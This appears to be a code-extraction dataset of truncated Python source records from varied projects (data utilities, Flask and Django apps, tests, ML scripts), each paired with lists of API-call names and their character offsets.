] | [((31, 68), 'numpy.set_printoptions', 'np.set_printoptions', ([], {'threshold': 'np.nan'}), '(threshold=np.nan)\n', (50, 68), True, 'import numpy as np\n'), ((99, 147), 'shutil.copyfile', 'copyfile', (['"""dummy_lutnet.h5"""', '"""pretrained_bin.h5"""'], {}), "('dummy_lutnet.h5', 'pretrained_bin.h5')\n", (107, 147), Fa... |
import pandas as pd
import numpy as np
from src.si.util.util import label_gen
__all__ = ['Dataset']
class Dataset:
def __init__(self, X=None, Y=None,
xnames: list = None,
yname: str = None):
""" Tabular Dataset"""
if X is None:
raise Exception("Trying ... | [
"src.si.util.util.label_gen",
"numpy.mean",
"numpy.unique",
"numpy.max",
"numpy.savetxt",
"numpy.min",
"pandas.DataFrame",
"numpy.genfromtxt",
"numpy.var"
] | [((878, 916), 'numpy.genfromtxt', 'np.genfromtxt', (['filename'], {'delimiter': 'sep'}), '(filename, delimiter=sep)\n', (891, 916), True, 'import numpy as np\n'), ((2885, 2928), 'numpy.savetxt', 'np.savetxt', (['filename', 'fullds'], {'delimiter': 'sep'}), '(filename, fullds, delimiter=sep)\n', (2895, 2928), True, 'imp... |
# vim: tabstop=4 shiftwidth=4 softtabstop=4
#
# Copyright (c) 2016 Wind River Systems, Inc.
#
# SPDX-License-Identifier: Apache-2.0
#
import logging
import os
from io_monitor.constants import DOMAIN
from io_monitor.utils.data_window import DataCollectionWindow
LOG = logging.getLogger(DOMAIN)
class DeviceDataCollec... | [
"logging.getLogger",
"os.path.exists",
"io_monitor.utils.data_window.DataCollectionWindow"
] | [((270, 295), 'logging.getLogger', 'logging.getLogger', (['DOMAIN'], {}), '(DOMAIN)\n', (287, 295), False, 'import logging\n'), ((739, 793), 'os.path.exists', 'os.path.exists', (["('/sys/block/' + self.node + '/dm/name')"], {}), "('/sys/block/' + self.node + '/dm/name')\n", (753, 793), False, 'import os\n'), ((1336, 13... |
from net_common import *
import struct
import sys
def getDirHashOpts(withNames=False,
ignoreThumbsFiles=True,
ignoreUnixHiddenFiles=True,
ignoreEmptyDirs=True):
return bytearray([((1 if withNames else 0) +
(2 if ignoreThumbsFiles else ... | [
"sys.exit"
] | [((1201, 1212), 'sys.exit', 'sys.exit', (['(0)'], {}), '(0)\n', (1209, 1212), False, 'import sys\n')] |
'''Some helper functions for PyTorch, including:
- progress_bar: progress bar mimic xlua.progress.
- set_lr : set the learning rate
- clip_gradient : clip gradient
'''
import os
import sys
import time
import math
import torch
import torch.nn as nn
import torch.nn.init as init
from torch.autogr... | [
"sys.stdout.flush",
"os.popen",
"time.time",
"sys.stdout.write"
] | [((587, 598), 'time.time', 'time.time', ([], {}), '()\n', (596, 598), False, 'import time\n'), ((971, 993), 'sys.stdout.write', 'sys.stdout.write', (['""" ["""'], {}), "(' [')\n", (987, 993), False, 'import sys\n'), ((1060, 1081), 'sys.stdout.write', 'sys.stdout.write', (['""">"""'], {}), "('>')\n", (1076, 1081), False... |
from __future__ import absolute_import, division, print_function
import logging
import sys
logging.basicConfig(
stream=sys.stdout,
level=logging.DEBUG,
format='%(asctime)s %(name)s-%(levelname)s: %(message)s',
datefmt='%Y-%m-%d %H:%M:%S')
import numpy as np
import utils
logger = logging.getLogger("ind... | [
"logging.basicConfig",
"logging.getLogger",
"numpy.sum",
"numpy.zeros",
"numpy.empty",
"numpy.rint"
] | [((93, 249), 'logging.basicConfig', 'logging.basicConfig', ([], {'stream': 'sys.stdout', 'level': 'logging.DEBUG', 'format': '"""%(asctime)s %(name)s-%(levelname)s: %(message)s"""', 'datefmt': '"""%Y-%m-%d %H:%M:%S"""'}), "(stream=sys.stdout, level=logging.DEBUG, format=\n '%(asctime)s %(name)s-%(levelname)s: %(mess... |
# Copyright 2020 The Cirq Developers
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in ... | [
"numpy.sqrt",
"cirq.protocols.decompose",
"cirq.AnyIntegerPowerGateFamily",
"cirq._compat.deprecated",
"networkx.from_edgelist",
"cirq._compat.deprecated_class",
"cirq.protocols.obj_to_dict_helper",
"cirq_pasqal.PasqalGateset"
] | [((10990, 11116), 'cirq._compat.deprecated_class', '_compat.deprecated_class', ([], {'deadline': '"""v0.16"""', 'fix': '"""Use cirq.optimize_for_target_gateset(circuit, gateset=PasqalGateset())."""'}), "(deadline='v0.16', fix=\n 'Use cirq.optimize_for_target_gateset(circuit, gateset=PasqalGateset()).')\n", (11014, 1... |
# -*- coding: utf-8 -*-
from enum import Enum, IntEnum, unique
import os
APP_NAME = "mine2farm"
NETWORK_NAME = "CenterAxis"
LOG_LEVEL_CONSOLE = "WARNING"
LOG_LEVEL_FILE = "INFO"
APP_FOLDER = os.getenv("JESA_MINE2FARM_HOME", "C:/GitRepos/mine2farm/")
LOG_FOLDER = APP_FOLDER + "app/log/"
LOG_FILE = "%(asctime)_" + AP... | [
"os.getenv"
] | [((195, 253), 'os.getenv', 'os.getenv', (['"""JESA_MINE2FARM_HOME"""', '"""C:/GitRepos/mine2farm/"""'], {}), "('JESA_MINE2FARM_HOME', 'C:/GitRepos/mine2farm/')\n", (204, 253), False, 'import os\n')] |
from django.db import models
# Create your models here.
class Destination(models.Model) :
name = models.CharField(max_length = 100)
img = models.ImageField(upload_to = 'pics')
desc = models.TextField()
price = models.IntegerField()
offer = models.BooleanField(default = False)
class News()... | [
"django.db.models.TextField",
"django.db.models.IntegerField",
"django.db.models.BooleanField",
"django.db.models.ImageField",
"django.db.models.CharField"
] | [((103, 135), 'django.db.models.CharField', 'models.CharField', ([], {'max_length': '(100)'}), '(max_length=100)\n', (119, 135), False, 'from django.db import models\n'), ((148, 183), 'django.db.models.ImageField', 'models.ImageField', ([], {'upload_to': '"""pics"""'}), "(upload_to='pics')\n", (165, 183), False, 'from ... |
import base64
import io
import dash
import dash_core_components as dcc
import dash_html_components as html
import dash_bootstrap_components as dbc
from dash.dependencies import Input, Output
import numpy as np
import tensorflow as tf
from PIL import Image
from constants import CLASSES
import yaml
with open('app.ya... | [
"dash_bootstrap_components.DropdownMenuItem",
"dash.dependencies.Output",
"base64.b64encode",
"io.BytesIO",
"dash_html_components.H5",
"base64.b64decode",
"dash.dependencies.Input",
"dash_html_components.Pre",
"yaml.safe_load",
"numpy.array",
"dash_html_components.Div",
"tensorflow.keras.model... | [((524, 562), 'tensorflow.keras.models.load_model', 'tf.keras.models.load_model', (['PATH_MODEL'], {}), '(PATH_MODEL)\n', (550, 562), True, 'import tensorflow as tf\n'), ((1083, 1171), 'dash.Dash', 'dash.Dash', (['"""Traffic Signs Recognition"""'], {'external_stylesheets': '[dbc.themes.BOOTSTRAP]'}), "('Traffic Signs R... |
# Copyright 2021 Northern.tech AS
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ag... | [
"setuptools.find_packages",
"re.search"
] | [((781, 823), 're.search', 're.search', (['VSRE', 'version_string_line', 're.M'], {}), '(VSRE, version_string_line, re.M)\n', (790, 823), False, 'import re\n'), ((1687, 1724), 'setuptools.find_packages', 'setuptools.find_packages', ([], {'where': '"""src"""'}), "(where='src')\n", (1711, 1724), False, 'import setuptools... |
# --------------
# Importing header files
import numpy as np
import pandas as pd
from scipy.stats import mode
# code starts here
bank = pd.read_csv(path)
categorical_var = bank.select_dtypes(include = 'object')
print(categorical_var)
numerical_var = bank.select_dtypes(include = 'number')
print(numeric... | [
"pandas.pivot_table",
"pandas.read_csv"
] | [((150, 167), 'pandas.read_csv', 'pd.read_csv', (['path'], {}), '(path)\n', (161, 167), True, 'import pandas as pd\n'), ((489, 598), 'pandas.pivot_table', 'pd.pivot_table', (['banks'], {'index': "['Gender', 'Married', 'Self_Employed']", 'values': '"""LoanAmount"""', 'aggfunc': '"""mean"""'}), "(banks, index=['Gender', ... |
from unittest import TestCase
from unittest.mock import patch
from easy2fa import cli
class TestCheckInput(TestCase):
@patch('builtins.input')
def test_default(self, mock_input):
mock_input.return_value = ''
self.assertEquals(cli.check_input('prompt', default='one'), 'one')
mock_input... | [
"easy2fa.cli.check_input",
"unittest.mock.patch"
] | [((126, 149), 'unittest.mock.patch', 'patch', (['"""builtins.input"""'], {}), "('builtins.input')\n", (131, 149), False, 'from unittest.mock import patch\n'), ((423, 446), 'unittest.mock.patch', 'patch', (['"""builtins.input"""'], {}), "('builtins.input')\n", (428, 446), False, 'from unittest.mock import patch\n'), ((4... |
from torch.utils.data import TensorDataset, DataLoader, RandomSampler, SequentialSampler
from bert_finetuning.data import GermanData
class GermanDataLoader:
def __init__(
self,
data_paths,
model_name,
do_cleansing,
max_sequence_length,
batch_size=8,
... | [
"torch.utils.data.RandomSampler",
"torch.utils.data.SequentialSampler",
"torch.utils.data.TensorDataset",
"torch.utils.data.DataLoader"
] | [((837, 946), 'torch.utils.data.TensorDataset', 'TensorDataset', (['self.german_data.train_inputs', 'self.german_data.train_masks', 'self.german_data.train_labels'], {}), '(self.german_data.train_inputs, self.german_data.train_masks,\n self.german_data.train_labels)\n', (850, 946), False, 'from torch.utils.data impo... |
# -*- coding: utf-8 -*-
import logging
import datetime
from flask import request, render_template
from flask_jwt_extended import (
create_access_token,
decode_token
)
from jwt.exceptions import DecodeError
from flasgger import swag_from
from http import HTTPStatus
from pathlib import Path
from sqlalchemy.orm.e... | [
"logging.getLogger",
"flask.render_template",
"vantage6.server.db.User.get",
"vantage6.server.db.User.get_by_email",
"pathlib.Path",
"vantage6.server.db.User.get_by_username",
"flask_jwt_extended.decode_token",
"flask.request.get_json",
"vantage6.common.logger_name",
"datetime.timedelta"
] | [((494, 515), 'vantage6.common.logger_name', 'logger_name', (['__name__'], {}), '(__name__)\n', (505, 515), False, 'from vantage6.common import logger_name\n'), ((522, 552), 'logging.getLogger', 'logging.getLogger', (['module_name'], {}), '(module_name)\n', (539, 552), False, 'import logging\n'), ((1577, 1595), 'flask.... |
import os
from typing import Any, Callable, Dict
import tomodachi
from tomodachi import aws_sns_sqs, aws_sns_sqs_publish
from tomodachi.discovery import AWSSNSRegistration
from tomodachi.envelope import JsonBase
async def middleware_function(
func: Callable, service: Any, message: Any, topic: str, context: Dict,... | [
"tomodachi.aws_sns_sqs_publish",
"os.environ.get",
"tomodachi.aws_sns_sqs"
] | [((2184, 2213), 'tomodachi.aws_sns_sqs', 'aws_sns_sqs', (['"""example-route1"""'], {}), "('example-route1')\n", (2195, 2213), False, 'from tomodachi import aws_sns_sqs, aws_sns_sqs_publish\n'), ((891, 921), 'os.environ.get', 'os.environ.get', (['"""SERVICE_UUID"""'], {}), "('SERVICE_UUID')\n", (905, 921), False, 'impor... |
# -*- coding: utf-8 -*-
# @Author: GXR
# @CreateTime: 2022-01-20
# @UpdateTime: 2022-01-20
import redis
import config
import cookie_login
from cookie_api import app
red = redis.Redis(
host=config.REDIS_HOST,
port=config.REDIS_PORT,
db=config.REDIS_DB,
decode_responses=True,
)
# 刷新cookie数量
def cooki... | [
"cookie_login.run_cookie_login",
"redis.Redis"
] | [((174, 281), 'redis.Redis', 'redis.Redis', ([], {'host': 'config.REDIS_HOST', 'port': 'config.REDIS_PORT', 'db': 'config.REDIS_DB', 'decode_responses': '(True)'}), '(host=config.REDIS_HOST, port=config.REDIS_PORT, db=config.\n REDIS_DB, decode_responses=True)\n', (185, 281), False, 'import redis\n'), ((484, 516), '... |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
# start tutorial
from django.db import models
from djng.forms import NgModelFormMixin, NgFormValidationMixin
from djng.styling.bootstrap3.forms import Bootstrap3ModelForm
class SubscribeUser(models.Model):
full_name = models.CharField(
"<NAME... | [
"django.db.models.ImageField",
"django.db.models.FileField",
"django.db.models.CharField"
] | [((288, 329), 'django.db.models.CharField', 'models.CharField', (['"""<NAME>"""'], {'max_length': '(99)'}), "('<NAME>', max_length=99)\n", (304, 329), False, 'from django.db import models\n'), ((361, 412), 'django.db.models.ImageField', 'models.ImageField', (['"""Avatar"""'], {'blank': '(False)', 'null': '(True)'}), "(... |
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may ... | [
"tvm.topi.add",
"tvm.tir.Schedule",
"tvm.te.create_prim_func",
"tvm.topi.subtract",
"tvm.topi.multiply"
] | [((1274, 1300), 'tvm.topi.add', 'topi.add', (['input_a', 'input_b'], {}), '(input_a, input_b)\n', (1282, 1300), False, 'from tvm import topi\n'), ((1410, 1441), 'tvm.topi.subtract', 'topi.subtract', (['input_a', 'input_b'], {}), '(input_a, input_b)\n', (1423, 1441), False, 'from tvm import topi\n'), ((1551, 1582), 'tvm... |
# Copyright (c) 2012 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import json
import logging
import os
import unittest
from telemetry.core import browser_finder
from telemetry.core import exceptions
from telemetry.core ... | [
"json.loads",
"telemetry.core.browser_finder.FindBrowser",
"telemetry.core.backends.chrome.cros_interface.CrOSInterface",
"telemetry.core.util.WaitFor",
"os.path.dirname",
"telemetry.unittest.options_for_unittests.GetCopy",
"telemetry.core.extension_to_load.ExtensionToLoad",
"logging.info"
] | [((561, 592), 'telemetry.unittest.options_for_unittests.GetCopy', 'options_for_unittests.GetCopy', ([], {}), '()\n', (590, 592), False, 'from telemetry.unittest import options_for_unittests\n'), ((609, 685), 'telemetry.core.backends.chrome.cros_interface.CrOSInterface', 'cros_interface.CrOSInterface', (['options.cros_r... |
import sqlite3
class Database:
def get_connection(self):
return sqlite3.connect("./db.sqlite")
def add_card(self, card_title, card_text, card_link_text, card_link_url):
con = self.get_connection()
cur = con.cursor()
create_table_query = "CREATE TABLE IF NOT EXISTS cards('card... | [
"sqlite3.connect"
] | [((78, 108), 'sqlite3.connect', 'sqlite3.connect', (['"""./db.sqlite"""'], {}), "('./db.sqlite')\n", (93, 108), False, 'import sqlite3\n')] |
import subprocess
subprocess.Popen(['sh', '../Switches/Switch3_On.sh'])
| [
"subprocess.Popen"
] | [((18, 71), 'subprocess.Popen', 'subprocess.Popen', (["['sh', '../Switches/Switch3_On.sh']"], {}), "(['sh', '../Switches/Switch3_On.sh'])\n", (34, 71), False, 'import subprocess\n')] |
from collections import namedtuple
import torch
from torch.nn import (AdaptiveAvgPool2d, BatchNorm2d, Conv2d, MaxPool2d,
Module, PReLU, ReLU, Sequential, Sigmoid)
# yapf: disable
"""
ArcFace implementation from [TreB1eN](https://github.com/TreB1eN/InsightFace_Pytorch) # isort:skip # noqa
"""
# ... | [
"torch.nn.Sigmoid",
"torch.nn.ReLU",
"collections.namedtuple",
"torch.nn.BatchNorm2d",
"torch.nn.Conv2d",
"torch.nn.PReLU",
"torch.norm",
"torch.nn.MaxPool2d",
"torch.nn.AdaptiveAvgPool2d",
"torch.div"
] | [((890, 944), 'collections.namedtuple', 'namedtuple', (['"""Block"""', "['in_channel', 'depth', 'stride']"], {}), "('Block', ['in_channel', 'depth', 'stride'])\n", (900, 944), False, 'from collections import namedtuple\n'), ((784, 816), 'torch.norm', 'torch.norm', (['input', '(2)', 'axis', '(True)'], {}), '(input, 2, a... |
# -*- coding: utf-8 -*-
from ddtrace.compat import PY2
from ddtrace.constants import ANALYTICS_SAMPLE_RATE_KEY
from ddtrace.contrib.flask.patch import flask_version
from ddtrace.ext import http
from ddtrace.propagation.http import HTTP_HEADER_TRACE_ID, HTTP_HEADER_PARENT_ID
from flask import abort
from . import BaseFl... | [
"flask.abort"
] | [((16267, 16277), 'flask.abort', 'abort', (['(404)'], {}), '(404)\n', (16272, 16277), False, 'from flask import abort\n'), ((22922, 22932), 'flask.abort', 'abort', (['(501)'], {}), '(501)\n', (22927, 22932), False, 'from flask import abort\n')] |
__doc__ = 'github: https://github.com/brandonxiang/geojson-python-utils'
import math
from coordTransform_utils import wgs84togcj02
from coordTransform_utils import gcj02tobd09
def linestrings_intersect(line1, line2):
"""
To valid whether linestrings from geojson are intersected with each other.
reference:... | [
"coordTransform_utils.gcj02tobd09",
"math.sqrt",
"coordTransform_utils.wgs84togcj02",
"math.cos",
"math.fabs",
"math.sin"
] | [((7021, 7042), 'math.sin', 'math.sin', (['(deg_lat / 2)'], {}), '(deg_lat / 2)\n', (7029, 7042), False, 'import math\n'), ((7181, 7193), 'math.sqrt', 'math.sqrt', (['a'], {}), '(a)\n', (7190, 7193), False, 'import math\n'), ((7195, 7211), 'math.sqrt', 'math.sqrt', (['(1 - a)'], {}), '(1 - a)\n', (7204, 7211), False, '... |
import gym.envs.mujoco.hopper as hopper
import numpy as np
class HopperEnv(hopper.HopperEnv):
def _get_obs(self):
return np.concatenate([
self.sim.data.qpos.flat[1:],
self.sim.data.qvel.flat,
])
def reset_obs(self, obs):
state = np.insert(obs, 0, 0.)
qp... | [
"numpy.insert",
"numpy.concatenate"
] | [((135, 205), 'numpy.concatenate', 'np.concatenate', (['[self.sim.data.qpos.flat[1:], self.sim.data.qvel.flat]'], {}), '([self.sim.data.qpos.flat[1:], self.sim.data.qvel.flat])\n', (149, 205), True, 'import numpy as np\n'), ((288, 310), 'numpy.insert', 'np.insert', (['obs', '(0)', '(0.0)'], {}), '(obs, 0, 0.0)\n', (297... |
# Copyright (c) 2013 - 2015 EMC Corporation.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unle... | [
"cinder.tests.unit.volume.drivers.emc.scaleio.mocks.MockHTTPSResponse",
"cinder.tests.unit.fake_volume.fake_volume_obj",
"cinder.context.RequestContext"
] | [((1268, 1323), 'cinder.context.RequestContext', 'context.RequestContext', (['"""fake"""', '"""fake"""'], {'auth_token': '(True)'}), "('fake', 'fake', auth_token=True)\n", (1290, 1323), False, 'from cinder import context\n'), ((1347, 1416), 'cinder.tests.unit.fake_volume.fake_volume_obj', 'fake_volume.fake_volume_obj',... |
# -*- coding: utf-8 -*-
__version__ = '1.0.2'
import os
import appdirs
import osmnx as ox
import joblib
import requests
from .files import load_vars, save_vars, cached, inflate_tar, download_zipfile
from .data import data, list_data, problematic
from .tools.view_code import show_file
from . import mapping
cache_dir ... | [
"joblib.Memory",
"appdirs.user_cache_dir"
] | [((772, 841), 'joblib.Memory', 'joblib.Memory', (['location'], {'compress': 'compress', 'verbose': 'verbose'}), '(location, compress=compress, verbose=verbose, **kwargs)\n', (785, 841), False, 'import joblib\n'), ((668, 718), 'appdirs.user_cache_dir', 'appdirs.user_cache_dir', (['"""transportation_tutorials"""'], {}), ... |
import os
import sys
from . import HendrixTestCase, TEST_SETTINGS
from hendrix.contrib import SettingsError
from hendrix.options import options as hx_options
from hendrix import ux
from mock import patch
class TestMain(HendrixTestCase):
def setUp(self):
super(TestMain, self).setUp()
self.DEFAULTS... | [
"hendrix.options.options",
"mock.patch",
"hendrix.ux.noiseControl",
"hendrix.ux.djangoVsWsgi",
"os.getcwd",
"hendrix.ux.main",
"hendrix.ux.devFriendly",
"hendrix.ux.exposeProject"
] | [((323, 335), 'hendrix.options.options', 'hx_options', ([], {}), '()\n', (333, 335), True, 'from hendrix.options import options as hx_options\n'), ((495, 533), 'mock.patch', 'patch', (['"""hendrix.ux.findSettingsModule"""'], {}), "('hendrix.ux.findSettingsModule')\n", (500, 533), False, 'from mock import patch\n'), ((2... |
# Copyright (c) 2016-present, Facebook, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed... | [
"caffe2.python.test_util.rand_array",
"caffe2.python.workspace.RunOperatorOnce",
"caffe2.python.workspace.FetchBlob",
"numpy.array",
"numpy.random.randint",
"numpy.zeros",
"numpy.stack",
"numpy.empty",
"caffe2.python.core.CreateOperator",
"unittest.main",
"numpy.testing.assert_array_equal",
"c... | [((7638, 7653), 'unittest.main', 'unittest.main', ([], {}), '()\n', (7651, 7653), False, 'import unittest\n'), ((2004, 2082), 'caffe2.python.core.CreateOperator', 'core.CreateOperator', (['"""Partition"""', 'ins', 'outs'], {'pack_first_input': '(1 if pack else 0)'}), "('Partition', ins, outs, pack_first_input=1 if pack... |
""" Cisco_IOS_XR_fib_common_cfg
This module contains a collection of YANG definitions
for Cisco IOS\-XR fib\-common package configuration.
This module contains definitions
for the following management objects\:
fib\: CEF configuration
Copyright (c) 2013\-2018 by Cisco Systems, Inc.
All rights reserved.
"""
from ... | [
"collections.OrderedDict",
"ydk.types.YLeafList",
"ydk.types.YLeaf",
"ydk.types.YList",
"ydk.types.Enum.YLeaf"
] | [((906, 927), 'ydk.types.Enum.YLeaf', 'Enum.YLeaf', (['(1)', '"""list"""'], {}), "(1, 'list')\n", (916, 927), False, 'from ydk.types import Entity, EntityPath, Identity, Enum, YType, YLeaf, YLeafList, YList, LeafDataList, Bits, Empty, Decimal64\n'), ((939, 959), 'ydk.types.Enum.YLeaf', 'Enum.YLeaf', (['(2)', '"""any"""... |
"""Series of actions that form a combo chain"""
from __future__ import annotations
from typing import Optional, Sequence, TYPE_CHECKING
from action import Action
from core.utility import Array
from core.constants import PlayerForm, SimActKind, MomentType
from core.database import FromDB
if TYPE_CHECKING:
from ent... | [
"core.utility.Array",
"action.Action",
"core.database.FromDB.__init__"
] | [((562, 569), 'core.utility.Array', 'Array', ([], {}), '()\n', (567, 569), False, 'from core.utility import Array\n'), ((1689, 1714), 'core.database.FromDB.__init__', 'FromDB.__init__', (['self', 'id'], {}), '(self, id)\n', (1704, 1714), False, 'from core.database import FromDB\n'), ((2326, 2351), 'core.database.FromDB... |
#!/usr/bin/env python3 -u
# -*- coding: utf-8 -*-
__author__ = ["<NAME>"]
__all__ = ["_StatsModelsAdapter"]
import numpy as np
import pandas as pd
from sktime.forecasting.base._base import DEFAULT_ALPHA
from sktime.forecasting.base._sktime import _OptionalForecastingHorizonMixin
from sktime.forecasting.base._sktime ... | [
"numpy.testing.assert_array_equal",
"pandas.RangeIndex"
] | [((3433, 3475), 'pandas.RangeIndex', 'pd.RangeIndex', (['y.index[0]', '(y.index[-1] + 1)'], {}), '(y.index[0], y.index[-1] + 1)\n', (3446, 3475), True, 'import pandas as pd\n'), ((3493, 3542), 'numpy.testing.assert_array_equal', 'np.testing.assert_array_equal', (['y.index', 'new_index'], {}), '(y.index, new_index)\n', ... |
"""Find kernel specifications for a given language"""
import os
import sys
from .languages import same_language
from .reraise import reraise
try:
# I prefer not to take a dependency on jupyter_client
from jupyter_client.kernelspec import find_kernel_specs, get_kernel_spec
except ImportError as err:
find_... | [
"jupyter_client.kernelspec.find_kernel_specs",
"jupyter_client.kernelspec.get_kernel_spec",
"os.path.samefile",
"os.path.isfile"
] | [((1903, 1922), 'jupyter_client.kernelspec.find_kernel_specs', 'find_kernel_specs', ([], {}), '()\n', (1920, 1922), False, 'from jupyter_client.kernelspec import find_kernel_specs, get_kernel_spec\n'), ((1157, 1176), 'jupyter_client.kernelspec.find_kernel_specs', 'find_kernel_specs', ([], {}), '()\n', (1174, 1176), Fal... |
import numpy as np
import scipy.sparse
__all__ = ['save_npz', 'load_npz']
# Make loading safe vs. malicious input
PICKLE_KWARGS = dict(allow_pickle=False)
def save_npz(file, matrix, compressed=True):
""" Save a sparse matrix to a file using ``.npz`` format.
Parameters
----------
file : str or file... | [
"numpy.savez_compressed",
"numpy.load",
"numpy.savez"
] | [((2426, 2466), 'numpy.savez_compressed', 'np.savez_compressed', (['file'], {}), '(file, **arrays_dict)\n', (2445, 2466), True, 'import numpy as np\n'), ((2485, 2514), 'numpy.savez', 'np.savez', (['file'], {}), '(file, **arrays_dict)\n', (2493, 2514), True, 'import numpy as np\n'), ((4018, 4048), 'numpy.load', 'np.load... |
# Copyright 2022 Collate
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agreed to in writing, software... | [
"metadata.generated.schema.tests.table.tableRowCountToEqual.TableRowCountToEqual"
] | [((1225, 1331), 'metadata.generated.schema.tests.table.tableRowCountToEqual.TableRowCountToEqual', 'tableRowCountToEqual.TableRowCountToEqual', ([], {'value': "self.result['expectation_config']['kwargs']['value']"}), "(value=self.result[\n 'expectation_config']['kwargs']['value'])\n", (1266, 1331), False, 'from meta... |
'''
This code is based on https://github.com/jrieke/shape-detection/
'''
import matplotlib.pyplot as plt
import matplotlib
import numpy as np
import tensorflow as tf
import datetime
class JriekeBboxDataset:
def generate(self):
print('Generating...')
self.WIDTH = 8
self.HEIGHT = 8
... | [
"matplotlib.pyplot.imshow",
"matplotlib.patches.Rectangle",
"matplotlib.pyplot.gca",
"numpy.zeros",
"matplotlib.pyplot.figure",
"numpy.random.randint",
"matplotlib.pyplot.subplot",
"matplotlib.pyplot.show"
] | [((440, 476), 'numpy.zeros', 'np.zeros', (['(num_imgs, num_objects, 4)'], {}), '((num_imgs, num_objects, 4))\n', (448, 476), True, 'import numpy as np\n'), ((497, 542), 'numpy.zeros', 'np.zeros', (['(num_imgs, self.WIDTH, self.HEIGHT)'], {}), '((num_imgs, self.WIDTH, self.HEIGHT))\n', (505, 542), True, 'import numpy as... |
import pickle
import threading
from bmconfigparser import BMConfigParser
import state
knownNodesLock = threading.Lock()
knownNodes = {}
knownNodesTrimAmount = 2000
def saveKnownNodes(dirName = None):
if dirName is None:
dirName = state.appdata
with knownNodesLock:
with open(dirName + 'knownn... | [
"bmconfigparser.BMConfigParser",
"threading.Lock",
"pickle.dump"
] | [((105, 121), 'threading.Lock', 'threading.Lock', ([], {}), '()\n', (119, 121), False, 'import threading\n'), ((360, 391), 'pickle.dump', 'pickle.dump', (['knownNodes', 'output'], {}), '(knownNodes, output)\n', (371, 391), False, 'import pickle\n'), ((1121, 1137), 'bmconfigparser.BMConfigParser', 'BMConfigParser', ([],... |
# Copyright (c) 2018 DDN. All rights reserved.
# Use of this source code is governed by a MIT-style
# license that can be found in the LICENSE file.
import os
from chroma_agent.lib.shell import AgentShell
from chroma_agent.log import console_log
from chroma_agent.device_plugins.action_runner import CallbackAfterResp... | [
"chroma_agent.lib.shell.AgentShell.try_run",
"chroma_agent.lib.pacemaker.PacemakerConfig",
"os._exit",
"chroma_agent.log.console_log.info",
"chroma_agent.device_plugins.action_runner.CallbackAfterResponse"
] | [((453, 481), 'chroma_agent.lib.shell.AgentShell.try_run', 'AgentShell.try_run', (["['sync']"], {}), "(['sync'])\n", (471, 481), False, 'from chroma_agent.lib.shell import AgentShell\n'), ((486, 514), 'chroma_agent.lib.shell.AgentShell.try_run', 'AgentShell.try_run', (["['sync']"], {}), "(['sync'])\n", (504, 514), Fals... |
#! /usr/bin/env python
# -*- coding: utf-8 -*
"""
A base class that governs how to download and process tables from a Census API table.
"""
import os
import logging
import pathlib
from . import geotypes
from . import decorators
logger = logging.getLogger(__name__)
class BaseTableConfig(object):
"""
Configures... | [
"logging.getLogger",
"os.getenv",
"pathlib.Path"
] | [((237, 264), 'logging.getLogger', 'logging.getLogger', (['__name__'], {}), '(__name__)\n', (254, 264), False, 'import logging\n'), ((400, 422), 'pathlib.Path', 'pathlib.Path', (['__file__'], {}), '(__file__)\n', (412, 422), False, 'import pathlib\n'), ((1474, 1510), 'os.getenv', 'os.getenv', (['"""CENSUS_API_KEY"""', ... |
from django.conf.urls import include, url
from . import views
urlpatterns = [
url(r'^settings$', views.household_dashboard, name='household_dashboard'),
url(r'^myinfo$', views.my_info, name='my_info'),
url(r'^profile$', views.household_profile, name='maintain_household'),
url(r'^members$', views.househ... | [
"django.conf.urls.url"
] | [((83, 155), 'django.conf.urls.url', 'url', (['"""^settings$"""', 'views.household_dashboard'], {'name': '"""household_dashboard"""'}), "('^settings$', views.household_dashboard, name='household_dashboard')\n", (86, 155), False, 'from django.conf.urls import include, url\n'), ((162, 208), 'django.conf.urls.url', 'url',... |
# ----------------------------------------------------------------------------
# Copyright (c) 2016-2018, QIIME 2 development team.
#
# Distributed under the terms of the Modified BSD License.
#
# The full license is in the file LICENSE, distributed with this software.
# ------------------------------------------------... | [
"q2_qemistree.rerank_molecular_formulas",
"os.path.join",
"os.environ.get",
"q2_qemistree.predict_fingerprints",
"q2_qemistree.compute_fragmentation_trees",
"unittest.main",
"q2_qemistree._fingerprint.artifactory",
"os.path.abspath"
] | [((4200, 4206), 'unittest.main', 'main', ([], {}), '()\n', (4204, 4206), False, 'from unittest import TestCase, main\n'), ((836, 874), 'os.path.join', 'os.path.join', (['THIS_DIR', '"""data/foo/bin"""'], {}), "(THIS_DIR, 'data/foo/bin')\n", (848, 874), False, 'import os\n'), ((902, 966), 'os.path.join', 'os.path.join',... |
#!/usr/bin/env python
# Copyright 2017 Calico LLC
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# https://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agr... | [
"basenji.seqnn.SeqNN",
"numpy.array",
"basenji.dna_io.read_job_params",
"basenji.batcher.BatcherF",
"seaborn.set",
"numpy.reshape",
"seaborn.distplot",
"matplotlib.pyplot.xlabel",
"basenji.batcher.Batcher",
"tensorflow.Session",
"numpy.max",
"matplotlib.pyplot.close",
"os.path.isdir",
